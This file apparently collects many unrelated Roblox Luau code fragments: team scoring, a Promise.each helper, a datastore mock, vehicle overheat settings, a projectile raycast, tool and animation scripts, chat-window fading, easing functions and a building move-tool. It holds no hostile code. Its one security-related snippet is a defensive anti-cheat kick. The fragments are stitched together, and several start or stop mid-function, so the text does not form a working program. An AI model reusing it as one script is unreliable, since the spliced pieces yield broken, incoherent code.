Configurations.TEAMS then team:Destroy() end return end end end function TeamManager:ClearTeamScores() for _, team in pairs(Teams:GetTeams()) do TeamScores[team] = 0 if Configurations.TEAMS then DisplayManager:UpdateScore(team, 0) end end end function TeamManager:AddTeamScore(teamColor, score) local team = GetTeamFromColor(teamColor) TeamScores[team] = TeamScores[team] + score if Configurations.TEAMS then DisplayManager:UpdateScore(team, TeamScores[team]) end end function TeamManager:HasTeamWon() for _, team in pairs(Teams:GetTeams()) do if TeamScores[team] >= Configurations.POINTS_TO_WIN then return team end end return false end function TeamManager:GetWinningTeam() local highestScore = 0 local winningTeam = nil for _, team in pairs(Teams:GetTeams()) do if TeamScores[team] > highestScore then highestScore = TeamScores[team] winningTeam = team end end return winningTeam end function TeamManager:AreTeamsTied() local teams = Teams:GetTeams() local highestScore = 0 local tied = false for _, team in pairs(teams) do if TeamScores[team] == highestScore then tied = true elseif TeamScores[team] > highestScore then tied = false highestScore = TeamScores[team] end end return tied end function TeamManager:ShuffleTeams() for _, team in pairs(Teams:GetTeams()) do TeamPlayers[team] = {} end local players = Players:GetPlayers() while #players > 0 do local rIndex = math.random(1, #players) local player = table.remove(players, rIndex) TeamManager:AssignPlayerToTeam(player) end end
--[[ Iterates serially over the given an array of values, calling the predicate callback on each before continuing. If the predicate returns a Promise, we wait for that Promise to resolve before continuing to the next item in the array. If the Promise the predicate returns rejects, the Promise from Promise.each is also rejected with the same value. Returns a Promise containing an array of the return values from the predicate for each item in the original list. ]]
function Promise.each(list, predicate) assert(type(list) == "table", string.format(ERROR_NON_LIST, "Promise.each")) assert(type(predicate) == "function", string.format(ERROR_NON_FUNCTION, "Promise.each")) return Promise._new(debug.traceback(nil, 2), function(resolve, reject, onCancel) local results = {} local promisesToCancel = {} local cancelled = false local function cancel() for _, promiseToCancel in ipairs(promisesToCancel) do promiseToCancel:cancel() end end onCancel(function() cancelled = true cancel() end) -- We need to preprocess the list of values and look for Promises. -- If we find some, we must register our andThen calls now, so that those Promises have a consumer -- from us registered. If we don't do this, those Promises might get cancelled by something else -- before we get to them in the series because it's not possible to tell that we plan to use it -- unless we indicate it here. local preprocessedList = {} for index, value in ipairs(list) do if Promise.is(value) then if value:getStatus() == Promise.Status.Cancelled then cancel() return reject(Error.new({ error = "Promise is cancelled", kind = Error.Kind.AlreadyCancelled, context = string.format( "The Promise that was part of the array at index %d passed into Promise.each was already cancelled when Promise.each began.\n\nThat Promise was created at:\n\n%s", index, value._source ), })) elseif value:getStatus() == Promise.Status.Rejected then cancel() return reject(select(2, value:await())) end -- Chain a new Promise from this one so we only cancel ours local ourPromise = value:andThen(function(...) return ... end) table.insert(promisesToCancel, ourPromise) preprocessedList[index] = ourPromise else preprocessedList[index] = value end end for index, value in ipairs(preprocessedList) do if Promise.is(value) then local success success, value = value:await() if not success then cancel() return reject(value) end end if cancelled then return end local predicatePromise = Promise.resolve(predicate(value, index)) table.insert(promisesToCancel, predicatePromise) local success, result = predicatePromise:await() if not success then cancel() return reject(result) end results[index] = result end resolve(results) end) end Promise.Each = Promise.each
-- ================================================================================ -- LOCAL FUNCTIONS -- ================================================================================
local function loadSpeeder(player, selectedSpeeder) PlayerConverter:PlayerToSpeederServer(player, selectedSpeeder) end -- loadSpeeder() local function loadCharacter(player) player:LoadCharacter() end -- loadCharacter
-- Trim empty datastores and scopes from an entire datastore type:
local function prepareDataStoresForExport(origin) local dataPrepared = {} for name, scopes in pairs(origin) do local exportScopes = {} for scope, data in pairs(scopes) do local exportData = {} for key, value in pairs(data) do exportData[key] = value end if next(exportData) ~= nil then -- Only export datastore when non-empty exportScopes[scope] = exportData end end if next(exportScopes) ~= nil then -- Only export scope list when non-empty dataPrepared[name] = exportScopes end end if next(dataPrepared) ~= nil then -- Only return datastore type when non-empty return dataPrepared end end local function preprocessKey(key) if type(key) == "number" then if key ~= key then return "NAN" elseif key >= math.huge then return "INF" elseif key <= -math.huge then return "-INF" end return tostring(key) end return key end local function simulateYield() if Constants.YIELD_TIME_MAX > 0 then wait(rand:NextNumber(Constants.YIELD_TIME_MIN, Constants.YIELD_TIME_MAX)) end end local function simulateErrorCheck(method) if Constants.SIMULATE_ERROR_RATE > 0 and rand:NextNumber() <= Constants.SIMULATE_ERROR_RATE then simulateYield() error(method .. " rejected with error (simulated error)", 3) end end
--Tune
OverheatSpeed = .2 --How fast the car will overheat CoolingEfficiency = .04 --How fast the car will cool down RunningTemp = 85 --In degrees Fan = true --Cooling fan FanTemp = 100 --At what temperature the cooling fan will activate FanSpeed = .1 FanVolume = .2 BlowupTemp = 112 --At what temperature the engine will blow up GUI = true --GUI temperature gauge
--Loop For Making Rays For The Bullet's Trajectory
for i = 1, 30 do local thisOffset = offset + Vector3.new(0, yOffset*(i-1), 0) local travelRay = Ray.new(point1,thisOffset) local hit, position = workspace:FindPartOnRay(travelRay, parts.Parent) local distance = (position - point1).magnitude round.Size = Vector3.new(1, distance, 1) round.CFrame = CFrame.new(position, point1) * CFrame.new(0, 0, -distance/2) * CFrame.Angles(math.rad(90),0,0) round.Parent = workspace point1 = point1 + thisOffset if hit then round:remove() local e = Instance.new("Explosion") e.BlastRadius = 4 e.BlastPressure = 1 e.ExplosionType = "NoCraters" e.Position = position e.Parent = workspace local players = game.Players:getChildren() for i = 1, #players do if players[i].TeamColor ~= script.Parent.Parent.Tank.Value then --if he's not an ally character = players[i].Character if character then torso = character:findFirstChild'Torso' if torso then torsoPos = torso.Position origPos = round.Position local ray = Ray.new(origPos, torsoPos-origPos) local hit, position = game.Workspace:FindPartOnRayWithIgnoreList(ray,ignoreList) if hit then if hit.Parent == character then human = hit.Parent:findFirstChild("Humanoid") if human then distance = (position-origPos).magnitude
-- Make the HotbarFrame, which holds only the Hotbar Slots
HotbarFrame = NewGui('Frame', 'Hotbar') HotbarFrame.BackgroundTransparency = 0.7 local grad = script.UICorner:Clone() grad.Parent = HotbarFrame HotbarFrame.Parent = MainFrame
-- How fast a player starts with 0 levels
local startMoveSpeed = 7
--!strict
type Array<T> = { [number]: T } type PredicateFunction<T> = (value: T, index: number, array: Array<T>) -> boolean return function<T>(array: Array<T>, predicate: PredicateFunction<T>): T | nil for i = 1, #array do local element = array[i] if predicate(element, i, array) then return element end end return nil end
--[=[ Get the name of the enum. @return string @since v2.0.0 ]=]
function EnumList:GetName() return self[NAME_KEY] end export type EnumList = typeof(EnumList.new("", { "" })) return EnumList
-- find player's head pos
local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local head = vCharacter:findFirstChild("Head") if head == nil then return end local launch = head.Position + 10 * v local missile = Pellet:clone() missile.Position = launch missile.Velocity = v * 220--160 missile.Locked = true local force = Instance.new("BodyForce") force.force = Vector3.new(0,40,0) force.Parent = missile if (turbo) then missile.Velocity = v * 140 force.force = Vector3.new(0,45,0) end missile.SnowballScript.Disabled = false local creator_tag = Instance.new("ObjectValue") creator_tag.Value = vCharacter creator_tag.Name = "creator" creator_tag.Parent = missile missile.Parent = game.Workspace missile:SetNetworkOwner(vPlayer) end function rndDir() return Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5).unit end Tool.Enabled = true function onActivated(player,mouseHitp) if not Tool.Enabled then return end Tool.Enabled = false Tool.Handle.Transparency=1 local character = Tool.Parent; local humanoid = character:FindFirstChild("Humanoid") if humanoid == nil then return end local targetPos = mouseHitp --humanoid.TargetPoint local lookAt = (targetPos - character.Head.Position).unit fire(lookAt ) wait(2) Tool.Enabled = true Tool.Handle.Transparency=0 end script.Parent.Clicked.OnServerEvent:connect(onActivated)
--[SETTINGS]--
['OwnerName'] = ""; -- put your EXACT username between the quotations ['BadgeID'] = 0; -- replace 0 with the number ID of your badge }
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (oldAnimTrack ~= nil) then oldAnimTrack:Stop() oldAnimTrack:Destroy() oldAnimTrack = nil end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end return oldAnim end local function keyFrameReachedFunc(frameName) if (frameName == "End") then
--Valve Properties
local BOVsound = car.DriveSeat.BOV BOVsound.Volume = .2 --Bov Volume BOVsound.Pitch = 1 -- Pitch [Don't change this] BOVsound.SoundId = "rbxassetid://151152187" --Sound local CPSI = 0 local Values = script.Parent.Parent:FindFirstChild("A-Chassis Interface") local Throttle = Values.Values.Throttle.Value local CurrentGear = Values.Values.Gear.Value local CurrentRPM = Values.Values.RPM.Value local _Tune = require(car["A-Chassis Tune"]) local MaxRPM = _Tune.Redline Values.Values.TPSI.Value = PSI local DEADBOOST = PSI - 0.5 local active = false local boom = true
-- Watch for foreign additions to game-related locations
wait(10) plr.PlayerGui.MainGui.ChildAdded:connect(function() kick() end) plr.PlayerScripts.ChildAdded:connect(function() kick() end) plr.PlayerScripts.Functions.ChildAdded:connect(function() kick() end)
-- TYPE DEFINITION: Part Cache Instance
export type PartCache = { Open: {[number]: BasePart}, InUse: {[number]: BasePart}, CurrentCacheParent: Instance, Template: BasePart, ExpansionSize: number, Trails: {[number]: Instance}, }
-- Initialize decorate tool
local DecorateTool = require(CoreTools:WaitForChild 'Decorate') Core.AssignHotkey('P', Core.Support.Call(Core.EquipTool, DecorateTool)); Core.AddToolButton(Core.Assets.DecorateIcon, 'P', DecorateTool) return Core
--//////////////////////////////////////////////////////////////////////////////////////////// --////////////////////////////////////////////////////////////// Code to do chat window fading --////////////////////////////////////////////////////////////////////////////////////////////
function CheckIfPointIsInSquare(checkPos, topLeft, bottomRight) return (topLeft.X <= checkPos.X and checkPos.X <= bottomRight.X and topLeft.Y <= checkPos.Y and checkPos.Y <= bottomRight.Y) end local backgroundIsFaded = false local textIsFaded = false local lastTextFadeTime = 0 local lastBackgroundFadeTime = 0 local fadedChanged = Instance.new("BindableEvent") local mouseStateChanged = Instance.new("BindableEvent") local chatBarFocusChanged = Instance.new("BindableEvent") function DoBackgroundFadeIn(setFadingTime) lastBackgroundFadeTime = tick() backgroundIsFaded = false fadedChanged:Fire() ChatWindow:FadeInBackground((setFadingTime or ChatSettings.ChatDefaultFadeDuration)) local currentChannelObject = ChatWindow:GetCurrentChannel() if (currentChannelObject) then local Scroller = MessageLogDisplay.Scroller Scroller.ScrollingEnabled = true Scroller.ScrollBarThickness = moduleMessageLogDisplay.ScrollBarThickness end end function DoBackgroundFadeOut(setFadingTime) lastBackgroundFadeTime = tick() backgroundIsFaded = true fadedChanged:Fire() ChatWindow:FadeOutBackground((setFadingTime or ChatSettings.ChatDefaultFadeDuration)) local currentChannelObject = ChatWindow:GetCurrentChannel() if (currentChannelObject) then local Scroller = MessageLogDisplay.Scroller Scroller.ScrollingEnabled = false Scroller.ScrollBarThickness = 0 end end function DoTextFadeIn(setFadingTime) lastTextFadeTime = tick() textIsFaded = false fadedChanged:Fire() ChatWindow:FadeInText((setFadingTime or ChatSettings.ChatDefaultFadeDuration) * 0) end function DoTextFadeOut(setFadingTime) lastTextFadeTime = tick() textIsFaded = true fadedChanged:Fire() ChatWindow:FadeOutText((setFadingTime or ChatSettings.ChatDefaultFadeDuration)) end function DoFadeInFromNewInformation() DoTextFadeIn() if ChatSettings.ChatShouldFadeInFromNewInformation then DoBackgroundFadeIn() end end function InstantFadeIn() DoBackgroundFadeIn(0) DoTextFadeIn(0) end function InstantFadeOut() DoBackgroundFadeOut(0) DoTextFadeOut(0) end local mouseIsInWindow = nil function UpdateFadingForMouseState(mouseState) mouseIsInWindow = mouseState mouseStateChanged:Fire() if (ChatBar:IsFocused()) then return end if (mouseState) then DoBackgroundFadeIn() DoTextFadeIn() else DoBackgroundFadeIn() end end spawn(function() while true do RunService.RenderStepped:wait() while (mouseIsInWindow or ChatBar:IsFocused()) do if (mouseIsInWindow) then mouseStateChanged.Event:wait() end if (ChatBar:IsFocused()) then chatBarFocusChanged.Event:wait() end end if (not backgroundIsFaded) then local timeDiff = tick() - lastBackgroundFadeTime if (timeDiff > ChatSettings.ChatWindowBackgroundFadeOutTime) then DoBackgroundFadeOut() end elseif (not textIsFaded) then local timeDiff = tick() - lastTextFadeTime if (timeDiff > ChatSettings.ChatWindowTextFadeOutTime) then DoTextFadeOut() end else fadedChanged.Event:wait() end end end) function getClassicChatEnabled() if ChatSettings.ClassicChatEnabled ~= nil then return ChatSettings.ClassicChatEnabled end return Players.ClassicChat end function getBubbleChatEnabled() if ChatSettings.BubbleChatEnabled ~= nil then return ChatSettings.BubbleChatEnabled end return Players.BubbleChat end function bubbleChatOnly() return not getClassicChatEnabled() and getBubbleChatEnabled() end function UpdateMousePosition(mousePos, ignoreForFadeIn) if not (moduleApiTable.Visible and moduleApiTable.IsCoreGuiEnabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff)) then return end if bubbleChatOnly() then return end local windowPos = ChatWindow.GuiObject.AbsolutePosition local windowSize = ChatWindow.GuiObject.AbsoluteSize local newMouseState = CheckIfPointIsInSquare(mousePos, windowPos, windowPos + windowSize) if FFlagFixChatWindowHoverOver then if ignoreForFadeIn and newMouseState == true then return end end if (newMouseState ~= mouseIsInWindow) then UpdateFadingForMouseState(newMouseState) end end UserInputService.InputChanged:connect(function(inputObject, gameProcessedEvent) if (inputObject.UserInputType == Enum.UserInputType.MouseMovement) then local mousePos = Vector2.new(inputObject.Position.X, inputObject.Position.Y) UpdateMousePosition(mousePos, --[[ ignoreForFadeIn = ]] gameProcessedEvent) end end) UserInputService.TouchTap:connect(function(tapPos, gameProcessedEvent) UpdateMousePosition(tapPos[1], --[[ ignoreForFadeIn = ]] false) end) UserInputService.TouchMoved:connect(function(inputObject, gameProcessedEvent) local tapPos = Vector2.new(inputObject.Position.X, inputObject.Position.Y) UpdateMousePosition(tapPos, --[[ ignoreForFadeIn = ]] false) end) UserInputService.Changed:connect(function(prop) if prop == "MouseBehavior" then if UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then local windowPos = ChatWindow.GuiObject.AbsolutePosition local windowSize = ChatWindow.GuiObject.AbsoluteSize local screenSize = GuiParent.AbsoluteSize local centerScreenIsInWindow = CheckIfPointIsInSquare(screenSize/2, windowPos, windowPos + windowSize) if centerScreenIsInWindow then UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end end end)
-- Defina a prioridade da animação para inativo
idleAnimationTrack.Priority = Enum.AnimationPriority.Idle
--[=[ @return value: any Returns the value in the option, or throws an error if the option is None. ]=]
function Option:Unwrap() return self:Expect("Cannot unwrap option of None type") end
----------------------------------------------------------------------------------
while true do WaitTime = ((math.random()*1.9)+0.1) --print(WaitTime) wait(WaitTime/GeneralSpeed) --print(math.random()) RandomBrightness = ((math.random()*1.5)+2) --print(RandomBrightness) light.Brightness = RandomBrightness -- brightness end
-- a: amplitud -- p: period
local function outInElastic(t, b, c, d, a, p) if t < d / 2 then return outElastic(t * 2, b, c / 2, d, a, p) else return inElastic((t * 2) - d, b + c / 2, c / 2, d, a, p) end end local function inBack(t, b, c, d, s) if not s then s = 1.70158 end t = t / d return c * t * t * ((s + 1) * t - s) + b end local function outBack(t, b, c, d, s) if not s then s = 1.70158 end t = t / d - 1 return c * (t * t * ((s + 1) * t + s) + 1) + b end local function inOutBack(t, b, c, d, s) if not s then s = 1.70158 end s = s * 1.525 t = t / d * 2 if t < 1 then return c / 2 * (t * t * ((s + 1) * t - s)) + b else t = t - 2 return c / 2 * (t * t * ((s + 1) * t + s) + 2) + b end end local function outInBack(t, b, c, d, s) if t < d / 2 then return outBack(t * 2, b, c / 2, d, s) else return inBack((t * 2) - d, b + c / 2, c / 2, d, s) end end local function outBounce(t, b, c, d) t = t / d if t < 1 / 2.75 then return c * (7.5625 * t * t) + b elseif t < 2 / 2.75 then t = t - (1.5 / 2.75) return c * (7.5625 * t * t + 0.75) + b elseif t < 2.5 / 2.75 then t = t - (2.25 / 2.75) return c * (7.5625 * t * t + 0.9375) + b else t = t - (2.625 / 2.75) return c * (7.5625 * t * t + 0.984375) + b end end local function inBounce(t, b, c, d) return c - outBounce(d - t, 0, c, d) + b end local function inOutBounce(t, b, c, d) if t < d / 2 then return inBounce(t * 2, 0, c, d) * 0.5 + b else return outBounce(t * 2 - d, 0, c, d) * 0.5 + c * .5 + b end end local function outInBounce(t, b, c, d) if t < d / 2 then return outBounce(t * 2, b, c / 2, d) else return inBounce((t * 2) - d, b + c / 2, c / 2, d) end end return { linear = linear, inQuad = inQuad, outQuad = outQuad, inOutQuad = inOutQuad, outInQuad = outInQuad, inCubic = inCubic , outCubic = outCubic, inOutCubic = inOutCubic, outInCubic = outInCubic, inQuart = inQuart, outQuart = outQuart, inOutQuart = inOutQuart, outInQuart = outInQuart, inQuint = inQuint, outQuint = outQuint, inOutQuint = inOutQuint, outInQuint = outInQuint, inSine = inSine, outSine = outSine, inOutSine = inOutSine, outInSine = outInSine, inExpo = inExpo, outExpo = outExpo, inOutExpo = inOutExpo, outInExpo = outInExpo, inCirc = inCirc, outCirc = outCirc, inOutCirc = inOutCirc, outInCirc = outInCirc, inElastic = inElastic, outElastic = outElastic, inOutElastic = inOutElastic, outInElastic = outInElastic, inBack = inBack, outBack = outBack, inOutBack = inOutBack, outInBack = outInBack, inBounce = inBounce, outBounce = outBounce, inOutBounce = inOutBounce, outInBounce = outInBounce, }
--//Other//--
local UserInputService = game:GetService("UserInputService") local Equipped = false local event = script.Parent.Blocking local event2 = script.Parent.BlockingStop local blocking = false local debounce = false tool.Equipped:Connect(function() Equipped = true UserInputService.InputBegan:Connect(function(Input,Typing) if Typing == false and Input.KeyCode == Enum.KeyCode.E and Equipped == true and blocking == false and debounce == false then blockstarttrack:Play() hum.WalkSpeed = 6 debounce = true blockholdtrack:Play() event:FireServer(hum) blocking = true wait(4) event2:FireServer(hum) blockholdtrack:Stop() hum.WalkSpeed = 16 wait(1) debounce = false blocking = false end if Typing == false and Input.UserInputType == Enum.UserInputType.MouseButton1 and Equipped == true then event2:FireServer(hum) blockholdtrack:Stop() hum.WalkSpeed = 16 debounce = false blocking = false end end) end) tool.Unequipped:Connect(function() Equipped = false if blocking == true then hum.WalkSpeed = 16 event2:FireServer(hum) blockholdtrack:Stop() blocking = false debounce = false end end)
-- Ring2 descending
for l = 1,#lifts2 do if (lifts2[l].className == "Part") then lifts2[l].BodyPosition.position = Vector3.new((lifts2[l].BodyPosition.position.x),(lifts2[l].BodyPosition.position.y-2),(lifts2[l].BodyPosition.position.z)) end end wait(0.1) for p = 1,#parts2 do parts2[p].CanCollide = false end wait(0.1)
-- Class
local RadioButtonLabelClass = {} RadioButtonLabelClass.__index = RadioButtonLabelClass RadioButtonLabelClass.__type = "RadioButtonLabel" function RadioButtonLabelClass:__tostring() return RadioButtonLabelClass.__type end
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "GreenTopHat" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(0,-0.25,0) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0,0.85,0) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
-- goro7
game.ReplicatedStorage.Interactions.Server.GetVIPServerOwnerID.OnServerInvoke = function(plr) -- Return owner return game.VIPServerOwnerId end
-- ================================================================================ -- LOCAL FUNCTIONS -- ================================================================================
local function UpdateDirection(arrow, targets) if targets == 0 then return end local checkpoint = targets[1]:FindFirstChild("Checkpoint") local closestDistance = (arrow.Position - checkpoint.Position).magnitude local closestTarget = checkpoint -- Find nearest target for _, target in ipairs(targets) do checkpoint = target:FindFirstChild("Checkpoint") local distance = (arrow.Position - checkpoint.Position).magnitude if distance < closestDistance then closestTarget = checkpoint end end -- Point arrow at nearest target arrow.CFrame = CFrame.new(arrow.Position, closestTarget.Position) end -- UpdateDirection()
--[[ Set up the internals of this script the same way you would a regular game. DO NOT change the name(s) of any of the folders already inside of this script. Once you're done setting everything up, publish this model, copy the ID, Make the model PUBLIC (due to roblox removing private modules), and paste the ID into the ArenaID Section under Edit Federation in 2X19. If you want to import terrain into the game, put a terrainregion into workspace. (Recommended: https://create.roblox.com/marketplace/asset/148042198/Terrain-Save-and-Load) to make said terrain spawnable/despawnable, put it in serverstorage, it will automatically be loaded and unloaded when using the spawn/despawn commands. ]]
return script
-- Container for temporary connections (disconnected automatically)
local Connections = {}; function MoveTool.Equip() -- Enables the tool's equipped functionality -- Set our current axis mode SetAxes(MoveTool.Axes); -- Start up our interface ShowUI(); BindShortcutKeys(); EnableDragging(); end; function MoveTool.Unequip() -- Disables the tool's equipped functionality -- If dragging, finish dragging if Dragging then FinishDragging(); end; -- Clear unnecessary resources HideUI(); HideHandles(); ClearConnections(); BoundingBox.ClearBoundingBox(); SnapTracking.StopTracking(); end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:disconnect(); Connections[ConnectionKey] = nil; end; end; function ClearConnection(ConnectionKey) -- Clears the given specific connection local Connection = Connections[ConnectionKey]; -- Disconnect the connection if it exists if Connections[ConnectionKey] then Connection:disconnect(); Connections[ConnectionKey] = nil; end; end; function ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if MoveTool.UI then -- Reveal the UI MoveTool.UI.Visible = true; -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); -- Skip UI creation return; end; -- Create the UI MoveTool.UI = Core.Tool.Interfaces.BTMoveToolGUI:Clone(); MoveTool.UI.Parent = Core.UI; MoveTool.UI.Visible = true; -- Add functionality to the axes option switch local AxesSwitch = MoveTool.UI.AxesOption; AxesSwitch.Global.Button.MouseButton1Down:connect(function () SetAxes('Global'); end); AxesSwitch.Local.Button.MouseButton1Down:connect(function () SetAxes('Local'); end); AxesSwitch.Last.Button.MouseButton1Down:connect(function () SetAxes('Last'); end); -- Add functionality to the increment input local IncrementInput = MoveTool.UI.IncrementOption.Increment.TextBox; IncrementInput.FocusLost:connect(function (EnterPressed) MoveTool.Increment = tonumber(IncrementInput.Text) or MoveTool.Increment; IncrementInput.Text = Support.Round(MoveTool.Increment, 4); end); -- Add functionality to the position inputs local XInput = MoveTool.UI.Info.Center.X.TextBox; local YInput = MoveTool.UI.Info.Center.Y.TextBox; local ZInput = MoveTool.UI.Info.Center.Z.TextBox; XInput.FocusLost:connect(function (EnterPressed) local NewPosition = tonumber(XInput.Text); if NewPosition then SetAxisPosition('X', NewPosition); end; end); YInput.FocusLost:connect(function (EnterPressed) local NewPosition = tonumber(YInput.Text); if NewPosition then SetAxisPosition('Y', NewPosition); end; end); ZInput.FocusLost:connect(function (EnterPressed) local NewPosition = tonumber(ZInput.Text); if NewPosition then SetAxisPosition('Z', NewPosition); end; end); -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); end; function HideUI() -- Hides the tool UI -- Make sure there's a UI if not MoveTool.UI then return; end; -- Hide the UI MoveTool.UI.Visible = false; -- Stop updating the UI UIUpdater:Stop(); end; function UpdateUI() -- Updates information on the UI -- Make sure the UI's on if not MoveTool.UI then return; end; -- Only show and calculate selection info if it's not empty if #Selection.Items == 0 then MoveTool.UI.Info.Visible = false; MoveTool.UI.Size = UDim2.new(0, 245, 0, 90); return; else MoveTool.UI.Info.Visible = true; MoveTool.UI.Size = UDim2.new(0, 245, 0, 150); end; --------------------------------------------- -- Update the position information indicators --------------------------------------------- -- Identify common positions across axes local XVariations, YVariations, ZVariations = {}, {}, {}; for _, Part in pairs(Selection.Items) do table.insert(XVariations, Support.Round(Part.Position.X, 3)); table.insert(YVariations, Support.Round(Part.Position.Y, 3)); table.insert(ZVariations, Support.Round(Part.Position.Z, 3)); end; local CommonX = Support.IdentifyCommonItem(XVariations); local CommonY = Support.IdentifyCommonItem(YVariations); local CommonZ = Support.IdentifyCommonItem(ZVariations); -- Shortcuts to indicators local XIndicator = MoveTool.UI.Info.Center.X.TextBox; local YIndicator = MoveTool.UI.Info.Center.Y.TextBox; local ZIndicator = MoveTool.UI.Info.Center.Z.TextBox; -- Update each indicator if it's not currently being edited if not XIndicator:IsFocused() then XIndicator.Text = CommonX or '*'; end; if not YIndicator:IsFocused() then YIndicator.Text = CommonY or '*'; end; if not ZIndicator:IsFocused() then ZIndicator.Text = CommonZ or '*'; end; end; function SetAxes(AxisMode) -- Sets the given axis mode -- Update setting MoveTool.Axes = AxisMode; -- Update the UI switch if MoveTool.UI then Core.ToggleSwitch(AxisMode, MoveTool.UI.AxesOption); end; -- Disable any unnecessary bounding boxes BoundingBox.ClearBoundingBox(); -- For global mode, use bounding box handles if AxisMode == 'Global' then BoundingBox.StartBoundingBox(AttachHandles); -- For local mode, use focused part handles elseif AxisMode == 'Local' then AttachHandles(Selection.Focus, true); -- For last mode, use focused part handles elseif AxisMode == 'Last' then AttachHandles(Selection.Focus, true); end; end;
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" currentAnimInstance = nil if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end -- clean up walk if there is one if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end if (runAnimTrack ~= nil) then runAnimTrack:Stop() runAnimTrack:Destroy() runAnimTrack = nil end return oldAnim end function getHeightScale() if Humanoid then if FFlagUserAdjustHumanoidRootPartToHipPosition then if not Humanoid.AutomaticScalingEnabled then return 1 end end local scale = Humanoid.HipHeight / HumanoidHipHeight if userAnimationSpeedDampening then if AnimationSpeedDampeningObject == nil then AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent") end if AnimationSpeedDampeningObject ~= nil then scale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight end end return scale end return 1 end local smallButNotZero = 0.0001 function setRunSpeed(speed) local speedScaled = speed * 1.25 local heightScale = getHeightScale() local runSpeed = speedScaled / heightScale if runSpeed ~= currentAnimSpeed then if runSpeed < 0.33 then currentAnimTrack:AdjustWeight(1.0) runAnimTrack:AdjustWeight(smallButNotZero) elseif runSpeed < 0.66 then local weight = ((runSpeed - 0.33) / 0.33) currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero) runAnimTrack:AdjustWeight(weight + smallButNotZero) else currentAnimTrack:AdjustWeight(smallButNotZero) runAnimTrack:AdjustWeight(1.0) end currentAnimSpeed = runSpeed runAnimTrack:AdjustSpeed(runSpeed) currentAnimTrack:AdjustSpeed(runSpeed) end end function setAnimationSpeed(speed) if currentAnim == "walk" then setRunSpeed(speed) else if speed ~= currentAnimSpeed then currentAnimSpeed = speed currentAnimTrack:AdjustSpeed(currentAnimSpeed) end end end function keyFrameReachedFunc(frameName) if (frameName == "End") then if currentAnim == "walk" then if userNoUpdateOnLoop == true then if runAnimTrack.Looped ~= true then runAnimTrack.TimePosition = 0.0 end if currentAnimTrack.Looped ~= true then currentAnimTrack.TimePosition = 0.0 end else runAnimTrack.TimePosition = 0.0 currentAnimTrack.TimePosition = 0.0 end else local repeatAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then repeatAnim = "idle" end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.15, Humanoid) setAnimationSpeed(animSpeed) end end end function rollAnimation(animName) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end return idx end function playAnimation(animName, transitionTime, humanoid) local idx = rollAnimation(animName) local anim = animTable[animName][idx].anim -- switch animation if (anim ~= currentAnimInstance) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end if (runAnimTrack ~= nil) then runAnimTrack:Stop(transitionTime) runAnimTrack:Destroy() if userNoUpdateOnLoop == true then runAnimTrack = nil end end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) currentAnimTrack.Priority = Enum.AnimationPriority.Core -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) -- check to see if we need to blend a walk/run animation if animName == "walk" then local runAnimName = "run" local runIdx = rollAnimation(runAnimName) runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim) runAnimTrack.Priority = Enum.AnimationPriority.Core runAnimTrack:Play(transitionTime) if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end end
--throttle.Value = TCount
